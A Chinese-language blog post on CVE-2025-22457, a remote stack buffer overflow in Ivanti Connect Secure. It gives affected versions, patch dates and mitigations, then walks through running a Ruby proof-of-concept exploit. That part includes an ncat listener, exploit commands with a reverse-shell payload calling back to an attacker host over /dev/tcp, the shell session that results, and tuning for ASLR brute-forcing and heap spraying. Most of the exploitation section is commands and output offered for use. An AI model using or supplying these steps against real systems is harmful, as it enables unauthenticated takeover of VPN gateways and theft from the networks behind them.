Ivanti Connect Secure 栈缓冲区溢出漏洞利用详解

本文详细分析了Ivanti Connect Secure CVE-2025-22457栈缓冲区溢出漏洞,包括漏洞影响范围、利用方法、缓解措施和实际利用代码示例,涉及远程代码执行和ASLR绕过技术。

CVE-2025-22457:Ivanti Connect Secure 严重漏洞 ⚡

⚠️ CVE-2025-22457 概述

🛡️ 类型: 严重栈缓冲区溢出漏洞 💻 受影响产品:

  • Ivanti Connect Secure (≤ 22.7R2.5)
  • Ivanti Policy Secure (≤ 22.7R1.3)
  • Ivanti ZTA Gateways (≤ 22.8R2)
  • Pulse Connect Secure (≤ 9.1R18.9, EoS)

🔥 影响: 远程未认证代码执行


📅 补丁发布日期

🛠️ 产品 📦 修复版本 📆 发布日期
Ivanti Connect Secure 22.7R2.6 2025年2月
Ivanti Policy Secure 22.7R1.4 2025年4月21日
Ivanti ZTA Gateways 22.8R2.2 2025年4月19日

🚨 野外利用情况

  • 🕵️‍♂️ 自2025年3月中旬开始活跃
  • 🎯 被间谍组织(疑似中国关联)针对性利用
  • 💀 使用恶意软件:TRAILBLAZE(投放器)、BRUSHFIRE(后门)、SPAWN恶意软件生态系统

✅ 缓解措施

  1. ⬆️ 立即更新受影响系统
  2. 🔍 使用完整性检查工具(ICT)检测入侵
  3. 🕵️‍♀️ 调查并隔离可疑系统
  4. 🔑 重置证书、密钥和密码
  5. 📊 持续监控日志中的异常活动

🚨 使用方法:

我们可以针对易受攻击的Ivanti Connect Secure目标(版本22.7r2.4)运行此脚本,如下所示:

启动netcat监听器以捕获反向shell。

1
sudo ncat -lnvkp 8080

运行漏洞利用并暴力破解ASLR(这将很慢)。

1
2
3
4
5
6
7
8
9
sudo ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] 目标:https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] 载荷:bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] 检测到版本22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] 开始...
[2025-04-10 16:21:13 +0100] [+] 尝试0,尝试libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100]     建立连接...
[2025-04-10 16:21:18 +0100]     喷洒...
[2025-04-10 16:22:27 +0100]     触发..

成功时您将获得一个反向shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
sudo ncat -lnvkp 8080
Ncat: 版本7.93 ( https://nmap.org/ncat )
Ncat: 监听 :::8080
Ncat: 监听 0.0.0.0:8080
Ncat: 来自192.168.86.111的连接。
Ncat: 来自192.168.86.111:20746的连接。
bash: 无法设置终端进程组(-1):不适当的ioctl操作
bash: 此shell中没有作业控制
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$

📡 调试:

Web子进程:

根据底层硬件,目标设备可用的CPU数量将决定/home/bin/web二进制文件生成的子进程数量。由于所有传入的HTTPS请求将在这些子进程之间均匀分布,我们需要考虑这一点并对所有子进程执行足够次数的堆喷洒。我们需要这样做,因为当我们触发漏洞时,我们无法知道将在哪个子进程中触发它。因此,我们需要在每个子进程中都存在堆喷洒。

  • 1 vCPU - 1个web进程,无子进程
  • 2 vCPU - 1个web父进程,2个子进程
  • 4 vCPU - 1个web父进程,4个子进程(这是默认值,对应于Ivanti Connect Secure ISA4000-V平台)
  • 8 vCPU - 1个web父进程,8个子进程(对应于Ivanti Connect Secure ISA6000-V平台)

例如,在已root的易受攻击设备中,运行以下命令查看/home/bin/web子进程的数量:

1
2
3
4
5
6
7
8
9
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S   104  3012  2394  0  80   0 - 26313 -      ?        00:00:00 web
4 S   104  3013  2394  0  80   0 - 24931 -      ?        00:00:00 web80
1 S   104  4947  3012  2  80   0 - 28209 -      ?        00:01:27 web
1 S   104  5217  3012  1  80   0 - 31527 -      ?        00:00:49 web
1 S   104  5695  3012  0  80   0 - 28199 -      ?        00:00:00 web
1 S   104  5715  3012  0  80   0 - 28199 -      ?        00:00:00 web
bash-4.2#

您可以通过–web_children参数指定预期的web子进程数量,例如:

1
sudo ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4

libdsplibs基地址

如果您在本地系统上测试PoC,可能希望避免暴力破解libdsplibs基地址。在这种情况下,您可以通过–libdsplibs参数将已知的基地址传递给PoC。例如,在已root的易受攻击设备中,运行以下命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bash-4.2# ps -A| grep web
ps -A| grep web
 3200 ?        00:00:01 web80
20536 ?        00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879                             /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879                             /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879                             /home/lib/libdsplibs.so
bash-4.2#

然后您可以将已知基地址传递给PoC,如下所示:

1
2
3
4
5
6
7
8
9
sudo ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] 目标:https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] 载荷:bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] 检测到版本22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] 开始...
[2025-04-10 16:21:13 +0100] [+] 尝试0,尝试libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100]     建立连接...
[2025-04-10 16:21:18 +0100]     喷洒...
[2025-04-10 16:22:27 +0100]     触发...

⚠️ 免责声明:

此处提供的信息仅用于教育和意识提升目的。在应用补丁或执行安全评估时,请始终遵循组织的安全策略和程序。未经授权利用或扫描系统是非法的且不道德的。保持负责任和安全!🛡️🔒

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计